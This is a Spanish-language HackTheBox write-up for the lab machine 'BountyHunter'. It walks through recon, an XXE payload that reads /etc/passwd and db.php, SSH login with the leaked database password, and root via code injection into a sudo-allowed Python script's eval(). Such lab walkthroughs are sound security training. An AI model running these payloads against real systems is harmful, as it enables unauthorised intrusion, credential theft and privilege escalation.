---
title: "Writeup BountyHunter — HackTheBox"
machine: "BountyHunter"
platform: "HackTheBox"
difficulty: "Fácil"
operating_system: ["Linux", "Web"]
tags: ["web", "ssh", "linux", "privesc"]
author: "juanluismm520"
author_url: "https://www.writeups.es/u/juanluismm520"
source: "https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-09-08T15:45:00.980331+00:00"
updated: "2026-09-09T15:33:35.920566+00:00"
words: 347
reading_minutes: 2
---# BountyHunter — HackTheBox

## Resumen

<!-- 2-3 frases: qué vulnerabilidad da acceso y cómo se escala. Este bloque es
     lo primero que lee cualquiera (y lo que citan los buscadores). -->

## Reconocimiento

```bash
nmap $(target) -A -T5 -p- --min-rate 5000
```

Puertos abiertos:

| Puerto | Servicio | Versión |
|--------|----------|---------|
| 22     | SSH      |   OpenSSH 8.2p1      |
| 80     | HTTP     |   Apache httpd 2.4.41      |

## Enumeración

<!-- Qué encuentras en cada servicio y qué descartas. -->

```bash
╰─ gobuster dir -u http://$(target)/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 300 -x php,html,txt,bak,js 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.95.166/
[+] Method:                  GET
[+] Threads:                 300
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              txt,bak,js,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 25169]
resources            (Status: 301) [Size: 318] [--> http://10.129.95.166/resources/]
assets               (Status: 301) [Size: 315] [--> http://10.129.95.166/assets/]
portal.php           (Status: 200) [Size: 125]
css                  (Status: 301) [Size: 312] [--> http://10.129.95.166/css/]
db.php               (Status: 200) [Size: 0]
js                   (Status: 301) [Size: 311] [--> http://10.129.95.166/js/]
```

Lo interesante se centra en `db.php` y `portal.php`. Entrando a db no encontramos nada, pero en portal tenemos una página que nos lleva a un formulario. 

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7ad532cb-0579-4e36-9b29-7f71d091ff11.webp)

```http
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.129.95.166
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 219
Origin: http://10.129.95.166
Connection: keep-alive
Referer: http://10.129.95.166/log_submit.php
Priority: u=0

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5QcnVlYmE8L3RpdGxlPgoJCTxjd2U%2BMTA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjMwMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
```

El param `data` es un base64 que podemos decodificar con burp

```xml
<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>Prueba</title>
		<cwe>10</cwe>
		<cvss>10</cvss>
		<reward>300</reward>
		</bugreport>
```

Ahí manda lo que mandamos en el formulario. Bastante problable estamos ante algún tipo de `XXE`. 

## Explotación

Estamos ante un `XXE`, una vez comprobado que podemos leer ficheros como `/etc/passwd` vamos a intentar leer el archivo `db.php` 

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>10</cwe>
<cvss>10</cvss>
<reward>300</reward>
</bugreport>

```

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/612bdd6d-7585-4253-ae40-8222d8d9aa41.webp)

Codificado a base64 -> url encoded

```php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
```

Puesto que `/etc/passwd` es 
```txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
```

El usuario es `development` y la flag por convención es `user.txt` o `flag.txt`

### Acceso a usuario development
Tras haber probado a leer `/home/development/flag.txt` y `user.txt` y no dar resultado, me doy cuenta que realmente el estar con `www-data` hacía que no tuviera los permisos necesarios para ello. 

Era más simple que todo eso, intentar entrar por ssh usando la pass encontrada en `db.php`. 

```bash
ssh development@10.129.95.166
# pass: m19RoAU0hP41A1sTsq6K
# OK
```

Ahora si leemos `user.flag` y un mensaje escrito en el directorio del usuario
> [!SPOILER]
> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/640bb7e6-28be-43f0-8c35-38c7faab2e26.webp)





## Escalada de privilegios

Ejecutando `sudo -l` y habiendo leído el txt que dejó sabemos que hay un script que se podrá realizar alguna acción. 

```bash
sudo -l
User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
```

Si hacemos un cat a ese archivo vemos una linea interesante
```python
validationNumber = eval(x.replace("**", ""))
```

La función `eval` es vulnerable a injección de código. Así pues simplemente creando un markdown que cumpla las condiciones del script y solicitando `/bin/bash` obtendremos una bash como root. 

```exploit.md
# Skytrain Inc
## Ticket to Nowhere
__Ticket Code:__
**11 + __import__('os').system('/bin/bash')**
```

Las condiciones del script eran:
- Archivo markdown
- Comprueba que empieza con # Skytrain Inc
- La segunda linea cotiene la frase ## Ticket to ...
- La tercera linea tiene __Ticket Code:__
- Y la cuarta debe empezar por ** y cumplir dos condiciones matemáticas:

  - El primer número antes de un signo + (tras quitar los **) al dividirlo entre 7 debe dar residuo 4 (int(ticketCode) % 7 == 4). Por ejemplo, el número 11 o 18.
  
  - Evalúa toda la línea con la función eval(): si el resultado es mayor a 100, da el ticket por válido.

 Basta con ejecutar el comando `sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py` e indicar la ruta de `exploit.md` y ya obtendriamos una bash como root, consiguiendo así la flag.

> [!SPOILER]
> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/9a803d39-41ae-4e83-8b93-3823f24cffc8.webp)


---

> Writeup de **juanluismm520** publicado en [writeups.es](https://www.writeups.es/writeups/hackthebox/bountyhunter/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
